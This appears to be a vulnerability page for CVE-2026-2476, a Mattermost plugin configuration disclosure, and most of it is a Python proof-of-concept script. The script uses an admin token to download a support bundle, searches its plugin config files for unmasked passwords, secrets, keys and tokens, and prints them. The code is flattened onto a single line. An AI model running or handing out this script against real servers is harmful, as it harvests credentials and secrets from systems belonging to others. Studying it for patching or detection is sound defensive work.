CVE-2026-2476 Mattermost插件敏感配置信息泄露漏洞

# CVE-2026-2476 PoC - Mattermost Plugin Configuration Information Disclosure # This PoC demonstrates how sensitive configuration values can be extracted from support packets import json import requests import zipfile import io def extract_sensitive_config(support_bundle_url, auth_token): """ Extract sensitive configuration from Mattermost support bundle """ headers = { 'Authorization': f'Bearer {auth_token}', 'Content-Type': 'application/json' } # Step 1: Download support bundle response = requests.get(support_bundle_url, headers=headers) if response.status_code != 200: return None # Step 2: Extract and parse configuration files with zipfile.ZipFile(io.BytesIO(response.content)) as zf: sensitive_data = {} # Look for plugin configuration files for filename in zf.namelist(): if 'plugin' in filename.lower() and 'config' in filename.lower(): content = zf.read(filename) try: config = json.loads(content) # Search for unmasked sensitive fields sensitive_keywords = ['password', 'secret', 'key', 'token', 'credential', 'apikey'] for key, value in config.items(): if any(kw in key.lower() for kw in sensitive_keywords): # Check if value is masked or plaintext if value and not value.startswith('****') and not value.startswith('***'): sensitive_data[key] = value except: continue return sensitive_data # Usage example if __name__ == '__main__': # Replace with actual values SUPPORT_BUNDLE_URL = 'https://mattermost.example.com/api/v4/system/analytics?format=support_packet' AUTH_TOKEN = 'your_admin_token' exposed_configs = extract_sensitive_config(SUPPORT_BUNDLE_URL, AUTH_TOKEN) if exposed_configs: print('[+] Exposed sensitive configurations found:') for key, value in exposed_configs.items(): print(f' - {key}: {value}')